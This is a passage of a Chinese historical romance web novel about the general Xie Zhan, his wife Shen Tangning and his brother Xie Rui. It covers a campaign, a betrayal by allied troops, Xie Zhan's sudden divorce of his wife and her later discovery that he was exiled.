谢瞻一愣,旋即疾步去了灶房的方?位。 待到了那用?几块木板子简易搭建起来的灶房,果真远远见一个身段窈窕的小妇人挽着袖子用?锅铲从锅里掇出刚抄好的菜放入碗中。 另有一人去端碗筷,碰到沈棠宁的手背,又飞快地移开,偷偷看一眼沈棠宁,才将盘端了起来。 沈棠宁柔柔地道:“七郎,这里面油烟重,热得?很,你快些出去吧!” 里头那声音笑着应道:“好好二嫂,我这就把饭菜都端出去!” 刚出门,满头大汗却嘴角带笑的谢睿就看见了站在不?远处,两三个堆满了粮食的仓囷下的男人。 四?目相?对,谢瞻那双狭长的凤目中无甚表情,见他出来,只微微眯了起来,凌厉的目光向他射来。 谢睿心一跳,第?一反应是像个做错事被大人发现的孩子一般避开了谢瞻的视线。 他在帐中等了许久不?见沈棠宁过来,听?丫鬟说她?在膳房做饭,而自己总在帐子里坐着吃茶也不?是个事儿,他晓得?男女有别,纯粹是出于?一片热心肠过来沈棠宁端端饭打?个下手,仅此而已。 哪里想到如此凑巧,他刚来,就遇上了谢瞻。 不?过,他既然问心无愧,何须心虚? 想着,谢睿坦然抬起头,迎上了谢瞻的目光,朗笑道:“二哥,你回来了,我等你许久了!” 房中的沈棠宁听?到动静,连围裙都来不?及摘便迎了出来,果见谢瞻立在不?远处冲她?粲然一笑。 沈棠宁一颗心才算放了下来,也冲他一笑。 三人一道前往谢瞻的帐子,有谢睿在,沈棠宁不?敢和谢瞻表现得?太亲近,她?觉得?很不?好意思。 谢瞻就光明磊落多了,一只拎着食盒,另一只手拉着沈棠宁的手,谢睿和他说话,他面上一派正色,不?时附和谢睿两句,底下却借着衣袖的遮掩悄悄捏挨个儿沈棠宁的手指手背。 沈棠宁被他捏的脸有点儿热,垂着头不?敢吭声,怕被谢睿瞧出什么端倪来。 到了营帐之中,另有一人早在帐中侯着了,谢睿不?认识这人,“咦”了一声,沈棠宁见了却喜上眉梢,飞快地丢下谢瞻和谢睿便迎了上去。 “伯都将军!” 直到谢瞻在后面不?悦地咳嗽了一声,沈棠宁方?才如梦初醒,她?不?知不?觉越过了谢瞻和谢睿,离得?伯都过近,尴尬地后退几步。 几人落座,谢瞻分别向伯都和谢睿介绍了对方?,两人见过礼,一道用?过了午膳。 见沈棠宁与伯都似乎是有话要说,谢睿知情识趣,饭后借口与卫桓复命便告辞离去了。 “谢夫人,虽说如今张元伦已是丧家之犬,苟延残喘耳,但前线危险,张元伦一时狗急跳墙或未可知,你不?该前来的,过几日还是早些回平凉城罢。” 伯都温声道。 沈棠宁看了一眼谢瞻,低头乖乖地道:“抱歉,是我给你们添麻烦了。几日前我收到汗妃的书信,信中说她?正全力帮我寻找哥哥的下落,我实在无以为报。这几件菲仪皆是我亲手所做,聊表献芹之心,还望汗妃不?弃,请将军回国时能代我捎奉于?汗妃。” 命锦书取来一个包裹交给伯都,里面装着一条大红遍地金妆花裙子、一条白绸金丝牡丹裙,三双袜子、三条花样不?同的细绫帕,一对白狐毛护手等等,每一样上头都绣着察兰汗妃钟爱的芍药花,是沈棠宁亲手所做。 那包袱伯都掂量着颇为沉重,估摸着便是做也要做上一两个月,可见其中心意,伯都颔首应下,然而看着眼前沈棠宁温柔含笑的脸庞,心内却涌上一股说不?清道不?明的情绪。 回契国之后,察兰汗妃便将沈棠宁在她?养病期间对她?说过的那番话悉数告诉了伯都。 实际上,如果沈棠宁真的是伯都的亲妹妹,察兰汗妃是很希望伯都能找回自己的亲生父母。 伯都依稀记得?他的爹娘都是契国士族家中最下等的周人奴隶,母亲唤作高?氏,在他十?二岁的时候就被他父亲打?死?了,父亲叫做胡贵,两年?前也得?了急病不?治身亡。 他的父亲胡贵在他十?岁那年?卖了他三回,都被高?氏捡了回来,最后一次胡贵将他抱进奴隶市场的时候,母亲高?氏被胡贵打?了个半死?,在他离开家门的时候从床上爬起来给他怀里塞了个馒头,眼里面都是泪。 但如今高?氏和胡贵都死?了,这两人家里也都没?有其它的亲人能够证明伯都是否是高?氏的亲生儿子。 沈棠宁给了察兰汗妃一副沈连州成年?后的画像,看模样的确也与伯都有几分相?似,因此察兰汗妃一面根据画像帮沈棠宁找沈连州,一面寻找能够证明伯都身世的亲人。 扪心自问,沈棠宁生得?如明珠般璀璨耀眼,而他不?过中人之姿,便如眼下伯都坐在她?身边时会忍不?住自惭形愧,他何德何能能作为她?的兄长? 只是对于?沈棠宁,打?从一开始他心底里就莫名存有不?足为外人道的亲近之意,那种情愫并?非男女之情、朋友之谊,而是超越了这两种感情的存在。 …… “你们先?下去吧。”谢瞻命令道。 两人出门一道送走了伯都,进门前谢瞻神色淡淡地屏退了左右。 刚进门沈棠宁就被他猛地抵在了墙上,一句话也没?有说,吻如铺天盖地般落了下来。 他的吻依旧是那么灼热而急促,像夏天湿热的暴雨一般倾盆而下,迫不?及待地与她?唇齿交融。 沈棠宁仰着头嘤咛了几声,有些喘不?动气。 一吻罢,两人皆是气喘吁吁,谢瞻捧着她?的脸问:“有没?有想我,快说,有没?有想我!” 当然想呢,每天晚上都有在想…… 沈棠宁咬着唇,红了脸。 这样饱含思念之意的话语,却实在叫一向矜持的她?难以启齿。 谢瞻有些失望。 “你来这里,就是为了见执失伯都,让他给你捎带送察兰汗妃的礼物??” “我是不?是让你为难了?”沈棠宁小声道。 “没?有,你能来我很开心,不?过你要想我,因为我是你的夫君。” 谢瞻抚弄着她?耳边垂下的一缕发。 他刚刚在席间喝了一点酒,温热的气息轻轻喷在她?的脸颊上,带着淡淡的酒味儿。 沈棠宁悄悄抬眼看他,见他意态温柔,眼底深处却隐含晦暗,如狼似虎,仿佛下一刻就要将她?生吞活剥了,想到待会儿可能发生的事情,不?由腿脚发软,脑子也晕头转向起来。 “回答我。” 谢瞻在她?臀上重拍了两下。 沈棠宁娇呼一声。 “嗯……嗯……想你,想你的……” “有多想?” “……” “有多想!”他的语气,几乎是在质问她?了。 杏眼湿濛濛如雾。沈棠宁说不?出来,她?搂着他宽阔的肩膀。 比之刚刚的暴雨如注,这会儿的亲密便多了几分温存之意。 “宁宁,我也想你。” 谢瞻靠近那泛红的玉耳,他粗喘着气道:“我想……你。” 他用?最温柔的语气,说出最令她?羞耻的话。 说完这话,谢瞻眼睛一眨不?眨地盯着她?细瓷般的脸蛋,仔细端详她?的表情变化,准备等她?一旦说个“不?”字的时候,就立即堵住她?的嘴巴。 桃花的颜色迅速爬上她?的腮边、耳根,甚至眼尾两侧,直至整张脸都变得?红润如滴血。她?抬眼飞快地看了他一下,接着垂下浓长的睫毛,企图掩去眼底的羞涩慌乱。 她?一向是抗拒白日宣淫这种事的,可是,两人真的好久没?见了,她?也想和他亲近…… 谢瞻自是不?知她?内心的挣扎犹豫,再忍不?住,将她?打?横抱起。 ……………………………………………………………………………………………………………………… 谢睿见过卫桓,忽又想到临走时四?妹谢嘉妤的谆谆嘱托,叫他找到二哥谢瞻,让二哥多帮她?提点提点未婚夫卫桓,故又原路返回。 待走到副帅营帐后时,似乎听?到沈棠宁断断续续,刻意压抑的哭声,谢睿大吃一惊,连忙两步并?做作一步上前,把耳朵贴在那营帐上细听?。 片刻后,谢睿红着脸倒退数步。 他不?是有意偷窥哥嫂的闺房事,没?想到他一向不?苟言笑,叫人望而生畏的二哥,在床.笫之间也会有如此温柔小意的一面,他那些哄人的话语,当真叫他羞愧自己长了对耳朵。 而嫂嫂那柔媚绵软的哭声,真真听?得?他口干舌燥…… 谢睿春梦时偶尔会将那梦中的对象肖想成沈棠宁,真切听?到还是第?一次,心里罪过极了,他到底还是个童子鸡,连忙捂着耳朵匆匆逃走了- 事毕,两人又相?拥了好一会儿,谢瞻才彻底出来,给她?仔细清理干净。 沈棠宁昨天赶了一天的路,刚又与谢瞻缠.绵许久,这会儿筋疲力尽,不?及他抽身便蜷缩在他怀中沉沉睡了过去。 她?睡着的模样娇憨可爱,一头乌发蓬乱地铺在枕上,脸颊红润,红唇微微嘟起,睡得?甚是香甜,如一支春睡海棠娇艳欲滴。 欢愉的时刻总是短暂的,正是长久的分离,才显得?相?聚相?融的这一刻有多么珍贵。 谢瞻盯看了她?许久,揉揉她?散乱在脸蛋的碎发,又轻轻抚摸她?的鼻,眼,唇,时而低头缱.绻亲吻,她?身子的每一处他好像都喜欢不?够。 将她?裸露在外的一对雪白可爱的足都掖进了锦被里,最后俯身在她?额头上一吻,心满意足了,这才悄然离开。 出了营帐,姜磐上前低语道:“将军,在黑龙林中发现了宗瑁的踪迹。” 谢瞻淡应了一声,去了中军大帐。 待大帐中人悉数到齐后,主帅郭尚开始分配此次出击战的任务。 入夜后的三更时分,谢瞻和伯都率领一支五千人的队伍绕过黑龙林旁的野狐岭包围张元伦,郭尚和卢坤义率领五万人正面突袭张元伦的营寨,留下卫桓与其余将领镇守营寨。 傍晚,谢瞻嘱咐了谢睿几句,方?领这两万士兵秘密离开营帐,向西而去。 有士兵发现谢瞻去的方?向似乎并?不?是野狐岭,而是野狐岭西北方?向的聚贤山,不?由和伴当窃窃私语道:“咱们将军是不?是走错方?向了?” “咱们将军聪明绝顶,你见他何时走岔路过?” 他那同伴回道:“就算是咱们将军走错了,那位伯都将军也不?会,将军怎么走咱们听?命便是了。” 正所谓慈不?掌兵,谢瞻治军极严,但也不?是一味强权政治,他早年?跟随耿老将军南征北战,深得?耿老将军真传,在军中深孚众望。 凡他与张元伦对战,无不?把张元伦打?得?屁滚尿流,百战百胜,是以他手下的将士平日里摄于?他的威严,却又十?分爱戴他。 差两刻钟三更时分,两万官兵与契人士兵顺利到达了聚贤山,向聚贤山上驻扎的三个营寨发起了突袭。 宗瑁没?料到会被谢瞻找到自己的大本营,张元伦躲到黑龙林中龟缩不?出,他本意是想放出张元伦的消息引谢瞻郭尚前去,待张元伦败后趁势绕到官兵背后一起包两人的饺子。 鹬蚌相?争,渔人得?利,届时他将不?费吹灰之力灭掉张元伦与谢瞻、郭尚。 半年?前郭尚在追击宗瑁逃回西京途中亲眼看见宗瑁跳下悬崖,实则那已死?之人并?非宗瑁,而是由宗瑁的侍卫假扮而成的傀儡。 那日后宗瑁便四?处狼狈逃窜,在太原、河北等地秘密收拢父亲宗缙的旧部,他自然不?甘心就此成为丧家之犬,若非张元伦暗中作梗,他也不?会这么快就败在郭尚手中! 得?知张元伦借兵东契,宗瑁悄悄潜入陇西,一直伺机寻找机会对张元伦以牙还牙,报仇雪恨,哪怕他死?也要拉他一个垫背的。 只可惜……可惜,可叹!他终究是棋差一招,败在了谢瞻手中! 一阵秋风吹来,催动那树上黄叶簌簌而落,空气中四?处弥漫着血腥之气,尸横遍野,在这寂寥深秋倒也算应景。 大势已去,宗瑁心下无尽悲凉。 想他乃父亲宗缙原配嫡子,八岁以前他的父亲亦不?是什么威名赫赫的定北王,或是荼毒百姓的乱臣贼子,只是蓟州一个小小的千户。 那时他一家其乐融融,而他的童年?无忧无虑,在父亲的教授下,精通骑射,为父亲所钟爱。 后来父亲得?张元伦那狗贼赏识,一路平步青云。 也是自那后,他完全变了。 他变得?不?再爱他和他的母亲,流连花街柳巷,纳了一个又一个的小妾,母亲抑郁而死?后,他因为顶撞他的父亲被他亲手送到京都城为质,一质便是整整十?二年?。 为了保命,他不?得?不?伪装成纨绔子弟,欺男霸女、章台走马、无恶不?作。 谁曾知他当初也是满心赤忱,一心建功立业,保家卫国的少年?郎。 第?一次遇到沈棠宁是在城郊外的金鱼池。 那天是母亲康氏的忌日,他喝得?酩酊大醉,倒在路边不?省人事。 是沈棠宁和她?的丫鬟们将他扶到凉亭的美人靠上,拿了自己的毯子盖在他的身上。 他醒后闻到那毯上淡淡的幽香,连忙追了过去,却只看到马车的帏帘飘起时,车上一个美丽温柔的侧影。 从那一天起他就无可救药地爱上了沈棠宁。 从来没?有女子敢招惹他,因为女人们都知道他不?是个可以托付终生的男人。 其实宗瑁心里也明白,沈棠宁那日之所以敢帮他,不?过是因为不?认识他罢了。 再后来,他回了蓟州,在宗缙的逼迫下娶了杜氏,再回京都时,她?已嫁为他人妇。 他只是沈棠宁生命中的过客。 这样也好…… 宗瑁刎颈自尽,鲜血溅在满地的落叶之上。 伯都走上前,看着地上已经没?了气息的宗瑁啊,半响,叹了口气。 “我尝听?闻,他登基之后,凡攻下城池,皆对手下士兵约法三章,赏罚分明,从不?滥杀无辜,这也是为何他能在短短半年?的时间之内便聚集了五万宗缙旧部替他卖命。说来,此人颇有才干,可惜乱臣贼子,人人得?而诛之!” 谢瞻没?伯都那么多愁善感,在这一点上,伯都和沈棠宁倒有几分相?似,他走到宗瑁的尸体旁,直接割下了他的首级。 宗缙害死?了耿忠慎,他没?能取宗缙这厮狗命,叫他轻易死?了,拿他儿子的首级来抵债也是理所应当。 “这是何物??” 伯都从宗缙的胸口中摘下一物?,仔细打?量,似乎还是根女人的簪子。 谢瞻无意瞥去,忽地脸色难看起来。 还没?等伯都仔细看清楚,谢瞻就蓦地从他手中将那物?夺过,收入了袖中。 “女人的东西,有什么好看的!” 谢瞻转身走了。 “不?好!营寨被偷袭了!” 快行至清水河时,隔着远远便见河对面大火连绵,七个营寨几乎全军覆没?,地上躺满了身穿红甲的官兵尸体,两伙人打?得?正酣。 谢瞻心猛地一沉,立时带头飞马奔去。 随着营寨越来越近,拖剌忽从身后拉住伯都,不?让他再近前。 “拖剌,你做什么!”伯都皱眉喝道。 “将军,莫再往前了,”拖剌声音听?着有些发颤,用?契语说道:“您看那和周人厮杀的士兵,是不?是咱们的人……” 伯都顺着他的目光仔细看去,大吃一惊。 那群和周人正在厮杀的黑甲士兵,不?是旁人,正是他的手下们…… 而那领头的士兵,则是他平日里颇为依仗的心腹图雷! “契人反了!杀了他们,杀了他们这群卑鄙小人!!” 人群中不?知是谁率先?爆发出一声怒喝。 紧接着,所有人的矛头都对向了伯都和拖剌,以及他们身侧的契人士兵。 谢瞻和伯都率领的这两万人当中,有三千契人士兵与一万余名官兵,适才与宗瑁一战伤亡不?大,然而这五千名平日里称兄道弟的契人士兵与官兵却几乎是在一瞬之间就立即分开队伍倒戈对峙,一个个怒目龇牙,凶相?毕露。 “执失伯都,你们契人究竟是什么意思!”卢坤义勃然大怒。 拖剌反问道:“你不?必恶人先?告状,分明是你们周人人多,怎知不?是你们周人先?动的手!” 两军各执一词,剑拔弩张,眼看一场大仗一触即发。 谢瞻拉满白虎弓对准伯都。 “执失伯都,你说!”他双目通红,厉声喝道。 伯都推开挡在他面前的拖剌,毫无畏惧地迎上谢瞻冷厉的目光 他对天起誓。 “我执失伯都以天狼神的名义起誓,背信弃义,袭击军营之事绝非我与汗妃所为,否则便叫我永世不?知自己的身世真相?,死?无葬身之地!” 谢瞻死?死?地抓着弓弩上的弓弦,额头上青筋暴起。 弓弦不?堪重负,眼看就要射穿伯都的心脏,谢瞻怒吼一声,忽地转身射去,那箭矢射入了远处一个契人的心口之中。 “走!” 郭尚命在清河水河畔驻扎了五万大军,离开前留下一万余名士兵守营寨和粮食。 如今营寨被人拔了,粮草被烧毁,卫桓身受重伤,所幸谢瞻和卢坤义来得?及时,图雷一见援军过来,毫不?恋战,抢在伯都之前开口喊道:“伯都将军,图雷幸不?辱命,咱们赶紧撤退吧!” 说罢竟率先?逃之夭夭。 拖剌拉住伯都急道:“将军!事到如今,咱们有十?张嘴也说不?清了,还是逃命要紧,回去找图雷算账吧!” 伯都说道:“此时逃了,岂非坐实了我们反水之名?!” 突然想到沈棠宁还在军营之中,生死?未卜,霎时脸色雪白,心口竟一阵痉挛悲恸。 “她?还在军营之中!” 伯都毫不?犹豫地冲了出去。 刚走了没?两步,颈后忽地一痛。 拖剌从后面打?晕了伯都,趁着谢瞻和卢坤义还没?反应过来,也不?敢再去管图雷了,领着两千人迅速悄然离去。 第72章 平凉,节度使府。 小雨绵绵,沿着翠绿的芭蕉叶“滴答”而下。 沈棠宁坐在窗下的书案上看医书,正看得?入迷之时?,忽有人来?报节度使回来?了。 沈棠宁又惊又喜。 她还?以为谢瞻没有两?三个月绝回不来?,没想到她刚才从庆阳回来?不过七八日,谢瞻便凯旋。 也不知这次张元伦等叛逆是否被尽数剿灭,一想到或许再?过不了多久两?人便能一同回京都看望女儿和家人,沈棠宁心里就充满了喜悦和期待。 她连忙放下书迎出去,却被长忠告知谢瞻已去了书房。 “世子说寻您有事,请您去书房一趟。” 沈棠宁微微一怔。 这偌大?的节度使府中,除了仆从们便只?住着谢瞻和她两?位主子,若谢瞻有何要事,回房和她说不就成了? 沈棠宁心里疑惑,却也未曾多想,随着长忠去了书房。 谢瞻背对她站在书案前。 或许是沈棠宁天性敏感,她甫一进门便敏锐地?捕捉到了书房内气氛的凝重沉闷。 “阿瞻,是不是出什么?事了?”沈棠宁轻声问道。 “一个月前,你在何处?” “我自然是在府里……” “满口谎话!我问你在何处,你还?不说实话!” 谢瞻猛地?转身喝断她的话。 沈棠宁瞪大?双眼,呆住。 眼前的男人,冰冷愤怒的目光是如?此地?陌生,他?的眼珠子上布满了一根根的红血丝,眼底乌青,下巴上冒着青色的胡茬,发髻凌乱,看上去甚至有几分?邋遢憔悴。 他?是极爱干净之人,很注重自己的仪表,哪怕出门打仗,但凡有条件,衣服都要一日一换,洗得?干干净净。 或许是这段时?日两?人的亲密无间,浓情蜜意,他?表现出对她的喜爱、温柔体贴,令她不自觉地?产生了一种错觉。 他?不会再?像从前那?样凶狠对待她,侮辱她。 沈棠宁艰涩地?道:“我不明白你的意思,我说的都是实话,你,你离开平凉之后,我只?出过一次府,去街市上买了几匹布料和书,这些长忠都可以为我作证……” “还?要狡辩!” 沈棠宁忍不住痛呼一声,她的手腕被他?蓦地?一把攥住,好像要将掐断一样地?愤怒用力。 “你是不是把我谢瞻当成什么?贱胚蠢货,能够一而再?再?而三地?忍受你与别的男人不清不楚!” 沈棠宁踉跄两?步,后背撞倒在墙壁上,难以置信地?看着眼前愤怒至极的男人。 她强忍着后背钻心的疼和眼眶里的泪水,“你说的话我根本?就听不懂,什么?叫一而再?再?而三地?与别的男人不清不楚?” 谢瞻把东西扔到她的身上。 “这是在宗瑁尸体上发现的,别告诉我你不认识!” 沈棠宁捡起那?物,是一支雕刻了海棠花的白玉簪,除了上面透雕的海棠花纹路,无一处镶金缀玉。 这是谢瞻中秋节那?日亲手送她的,她曾一直戴在发上。 她的脑子“嗡”的一声,突然之间一片空白,“我不知道……这是我的簪子,可我……我一个月前便已丢失了,我不知为何会出现在宗瑁手中……” “够了!” 谢瞻冷笑道:“婚后你多次与萧仲昀私会,我不说便罢了,你敢说圆姐儿是谁的种吗?后你被宗瑁两?次掳走,早已没了贞洁,若不是当初我昏了头可怜你、收留你,你以为自己如?今是个什么?东西!趁我不在府中,你竟又故态复萌,背着我与宗瑁幽会!” “沈棠宁,你真以为自己美若天仙,我谢瞻非你不可吗?那?我告诉你,今日就算我休弃了你,明日自有大?把的清白女子求着嫁我!像你这种水性杨花朝秦暮楚的女人,不配做我谢瞻的妻!” “你再?说一遍。” “像你这种水性杨花朝秦暮楚的女人,不配做我谢瞻的妻!” “啪”的一声。 沈棠宁打了谢瞻一巴掌。 “谢临远,你凭什么?这样羞辱我?”她颤声道:“你还?记得?自己当初的誓言吗?” 她浑身都在气得?颤抖,泪水盈满整个眼眶,却睁着一双大?大?的杏眼,倔强地?不肯任由它流下来?*?。 “我既娶沈棠宁为妻,从今往后,便一心一意待她,绝不纳妾别娶,倘若有违此誓,便教我身首异处,客死异乡。” 言犹在耳。 谢瞻死死地?攥住自己的掌心,指甲陷进肉里。面上却无一丝表情地?道:“男人的誓言,当不得?真,谁让你自己犯傻轻信了我的话?” 说罢,他打开了房门。 “为什么?,阿瞻,为什么要这样对我?” 她强忍着难堪从身后紧紧搂住他?,竭力维持镇定的嗓音,也终于委屈地?哽咽出声。 谢瞻闭目。 “今日,你便随七郎离开平凉。” 良久后,他?平静地?道- 自离开平凉之后,沈棠宁便终日坐在马车上一言不发,如?非必要,也不下马车。 谢睿担心她出事,每天都会隔着车帘子在车外跟她说话,或是讲些家里的趣事,或是和她说些自己这两?年在外闯荡的见闻,但沈棠宁从来?没有回应过他?。 几天后,沈棠宁总算开了口,问谢睿要去往何地?。 虽只?是一句话,谢睿亦是悄悄松了一口气。 他?小心解释道:“二?哥说送嫂嫂去镇江。” 沈棠宁让谢睿调转马头,她要回京都。 谢睿才将一封书信递给沈棠宁。 这是温氏亲笔信,道是她生了病,如?今和圆姐儿都在镇江老家养病,让她看见信后去镇江与她回合。 登时?沈棠宁的一颗心都紧紧揪了起来?,也顾不得?去深究谢瞻为何在突然之间对她态度大?变,一颗心都恨不得?变成飞鸟飞去镇江看望温氏。 四个月后,镇江府江宁县。 沈弘彰出身江宁沈氏,沈氏先祖是当地?的大?族,后来?先祖跟随太祖皇帝建功立业,有从龙之功,得?以封侯拜相。 到沈弘彰这一代,沈家已经没落。 沈棠宁离开京都的这两?年间,天下大?乱,沈弘谦仕途不顺,身体更是每况愈下,四十岁的中年人头发花白,不过徒有一个侯爷的名号。 沈家仅在江宁城西有一套两?进的院子,并街市上几间经营不善的商铺。 温氏的病不重,犯的是咳喘的老毛病,大?夫让她找一处山清水秀的地?方静养,温氏才想到回江宁来?养病。 随着沈棠宁的到来?,温氏的病在女儿的悉心照料下也逐渐好转起来?。 又是一年除夕夜。 隆德三十四年的元日,在这个阖家团圆的时?刻,沈家的新年却似乎过得?格外凄清孤寂。 除了家中几个仆人,只?有母女三个守夜。 将沈棠宁送到江宁后谢睿便匆忙离开了,走了约莫两?个月之久,出了正月,谢睿忽又赶回了江宁。 不过这次随之他?一道而来?的,还?有谢瞻的一封和离书与书信。 “三年来?你我夫妻聚少离多,我与你早已无夫妻之情,故就此和离。天高路远,你不必再?来?京都寻我,我对你亦无话可说,万望,珍重,谢临远,留。” 谢瞻给沈棠宁的信上,只?有寥寥数字。 甚至于,三年夫妻,最后留给她的和离书上,连一个称呼都没有,只?有一个冰冷冷而泾渭分?明的“你我”二?字。 曾经,他?也是多么?情深意浓地?唤过她的乳名。 其实,温氏的病在年前已经好了。 如?果?谢瞻还?认她这个妻子,他?会派人来?接她和孩子回家过年。 对于这个结果?,沈棠宁心中已有所预料。 但真正看到手中这封她曾经心心念念的和离书的那?一刻,她仍旧恍惚了一下,愣了许久没有说话。 “嫂嫂,你没事吧?”谢睿担心地?道。 沈棠宁抬起头,眼前少年俊秀的眉眼中饱含担忧与关切。 她将和离书收起来?,沉默了片刻,轻声道:“不要再?叫我嫂嫂了,”顿了一下,改口道:“谢公子,从今往后,我与你谢家没有任何干系了。” …… 谢睿本?想要离开,却实在放心不下沈棠宁,想到二?哥谢瞻离京的嘱托,索性暂且留在了江宁,每天得?空便去配沈棠宁说话解闷儿。 他?是少年人,正是精力充沛的时?候,圆姐儿也喜欢这个整日对她笑眯眯的小叔叔,大?部分?情况下是他?在不停地?说,他?陪着圆姐儿玩耍,沈棠宁只?安静地?坐在一旁看向窗外,一语不发,不知道在想些什么?。 有时?看着她愈发单薄瘦弱的背影,谢睿脸上笑着,五脏六腑却都好像被针扎一样涨疼,涌起一些说不清道不明的情愫。 他?不敢放纵自己任由这些阴暗的情愫滋长,也忍不住想要将一些话说出口,不忍再?看她终日郁郁寡欢,悲伤失望下去。 可每每念头一起便觉深愧兄长所托,无比自责,心知有些事情瞒住她,无论?是对她、抑或对兄长都好,不得?不强迫自己竭力按压住。 直到有一日清晨,谢睿如?往常一样早起去陪温氏和沈棠宁用早饭,进屋却得?知沈棠宁一早就不见了人影,锦书和韶音把整个宅子都找了个遍都没找到人,门房也没有看见一早有人出去过。 这事儿她们不敢去告诉温氏,生怕是一场虚惊,又实在担心沈棠宁的安危,一见到谢睿就像找到了主心骨一样求他?拿主意。 谢睿先在沈棠宁的闺房里转了一圈,房内一切无异常,走到西窗边时?,忽见那?窗下书案上用镇纸压了一张纸笺。 纸笺上唯她娟秀的小字手书一首诗:“花开不同赏,花落不同悲。欲问相思处,花开花落时?。” 谢睿皱眉念了一遍,俄而骤然变色,连忙将宅中几乎所有仆妇小厮都叫了出去找沈棠宁。 江宁河畔,沈棠宁立在一棵已经冒出青青绿芽的柳树之下。 谢睿在河畔终于寻得?那?抹熟悉的青衣白裙时?,大?惊失色,顿时?再?顾不得?什么?伦理纲常,冲上去便将沈棠宁整个人都扣在了怀里。 “宁姐姐,你这是做什么?傻事,何至于便去寻死!” 谢睿着急,大?声说着,生怕一撒手沈棠宁就往河里头跳,几乎是死死地?搂住了她的腰。 谢家兄弟几乎个个都是高大?魁梧的体格,别看谢睿才十七岁,沈棠宁和他?说话都要昂着头,她一个柔弱女子被谢睿这么?一抱,整个人都像是要勒断气似的。 “七郎,你……快放我下来?……放开我!咳咳咳……我不寻死!” 谢睿把沈棠宁抱离了江宁河,才把她放了下来?,一只?手还?不放心地?抓着她的手腕。 沈棠宁好容易捋顺了自己的气,又甩不开他?的手。 “我不是要寻死……” 顿了下,她无奈地?道:“只?是今日早晨我起得?早,看天气不错,便出来?散步走一走,刚巧走到河边。” 谢睿怎会信她的话,声色俱急地?道:“宁姐姐,我晓得?你心里难过,但是你还?年轻,还?有圆姐儿和温夫人,这世上没有过不去的坎儿,以你的条件再?嫁也不难,何必非要一颗心都放在二?哥的身上?” 当年沈棠宁刚嫁入谢家,谢瞻缺席了新妇的敬茶宴,她被众人嘲笑奚落之时?,谢睿是第一个向她示好,安慰她的谢家人。 从那?个时?候起,沈棠宁心里便一直念着谢睿的好。 这些话也是这段时?日谢睿反复在她耳边念叨着的。 沈棠宁说:“我都省的,七郎,你放心,我还?不至于为了一念之差便寻死觅活。” “我的性命是爹娘给的,就算不为自己,为了我娘和圆儿,我也会好好地?活下去,你……先放开我好吗?”她尽量耐心地?说。 谢睿立马摇头,他?坚信只?要他?一撒手,沈棠宁就会立即离他?而去。 谢睿的相貌,与谢瞻有三分?相似,两?人都有一双狭长的凤眼。 只?不过谢睿气质中更多了几分?温和质朴,而谢瞻意气风发,气质更偏冷峻。 这几日,每每看见谢睿那?双肖似谢瞻的双眼,沈棠宁心中便如?刀割相侵。 “是,说释怀是假的,我心里的确还?一直怨恨着他?。” 沈棠宁不再?看谢睿了。 她眺向远处如?珠玉静静流逝的江宁河,摇摇头,忽自嘲一笑。 “从小我就知道我不是个幸运之人,凡有好事,从不会落到我的身上,所以我也从不会希求能得?命运眷顾,遇见待我一心一意的良人。” 至少在某一个时?刻,她相信谢瞻对她的真心无可替代。 只?是这些真心之情,夜半无人的海誓山盟,只?有花开花落一季的时?间。 会转瞬即逝,消散得?这样快,以至于她都还?没来?得?及做好准备去接纳失去。 谢睿说道:“不,我相信你会遇到的。如?果?,如?果?我日后能娶我心爱的女子,我谢睿必定会一心一意待她,绝不辜负于她。” 谢睿紧紧地?握住掌中那?纤纤柔荑。 他?的手掌,他?的眼神,他?的话语,一样的炽热滚烫。 曾经也有一个男人,这样坚定地?许诺过她。 沈棠宁却依旧只?是垂着眼睫。 她平静地?道:“世事变化无常,我不敢寄希望于别人。七郎,你的心意我会一直记在心中。但我们二?人终究是过路人,是彼此生命中的过客,明日你便离开江宁,回到京都去吧。” 可我不想只?是你生命中的过客,谢睿难受地?看着她细瓷般的脸庞,一时?情不自禁,喃喃说道:“宁姐姐,忘了我二?哥吧,他?曾对你说了那?么?多绝情的话,你还?要一心一意思念着他?吗?” 沈棠宁转身便走。 “对不起宁姐姐,我不该和你说这样的话!你别生气,别赶我走好不好?”谢睿急道。 “我不需要你来?陪我,七郎,你是男子汉,当立于天地?之间,而不是整日陪我沉溺于闺阁之中!” “可我只?想你尽快振作起来?,宁姐姐,我不想看你伤心难过!” 沈棠宁走得?极快,谢睿只?能跟在后面着急地?解释。 两?人路过一处热气腾腾的早餐摊位,有食客低声闲聊的声音传了过来?。 “……当真可惜,宗张之乱,若非他?与郭将军舍生忘死,收服京师,救国家于危难之中,叛乱怎会如?此迅疾平定?照我说,他?的功劳分?明比郭将军还?要大?,如?此一个经天纬地?,谋勇双全的伟丈夫,却落得?这样一个凄凉的下场,唉,实在可叹,可叹!” 另有一人冷哼一声道:“自古以来?,狡兔死,走狗烹,不论?你有多么?大?的功勋,一旦盖过了上头那?位主子,下场可想而知,要怪只?能怪他?命不好罢!” 普通平民百姓们不关心什么?盟约和谈,亦不在乎朝堂之上三法司定的那?些罪名,他?们只?能看到谁让他?们远离战乱,过上安定富足的日子。 两?个食客正感慨着,突然有人走到他?们面前。 “两?位大?哥,你们二?人刚刚说的那?人,他?……是谁?” 这声音柔美清润,略带几分?颤抖,两?位食客诧异地?抬起头,只?见眼前站了个异常美艳的妇人,其容光竟叫人不敢直视,其中一个食客腾得?就从自己的位置上站了起来?。 “是,是三镇节度使谢临远,”说到此处。忍不住一叹:“可惜我听说他?如?今已被贬为罪臣,遭家族除名,流放辽东了!” 眼前突然涌来?无尽的黑暗,她的身体宛如?一只?轻飘飘的蝶向后仰倒,幸而被谢睿及时?搀扶着才未跌倒在地?上。 直过了好一会儿,她的眼前终于重新恢复了光明。 沈棠宁强撑着身子,看向一旁始终目光躲闪,不敢抬头看她的谢睿,心便凉了半截,目光透出悲愤与痛苦。 “七郎,你早就知道,为何还?要瞒我!” 第73章 当日,沈棠宁由谢睿护送着离开了平凉后,谢瞻便?自请卸去副帅之职,由观军容使,也就是隆德帝派来的监军余公公押解入京。 此次黑龙林之战,郭尚斩杀张元伦后遭契人偷袭重伤,其率领的三万官兵伤亡亦是十之八九。 清水河之战,图雷趁郭尚与谢瞻离开之际,半夜三更潜入郑国公世子卫桓的军营,致使卫桓重伤昏迷不醒,我军伤亡无数,折损大半。 这次隆德帝派去围剿张元伦的十五万官兵,除去原镇守在庆阳城内的九万官兵,几乎全军覆没。 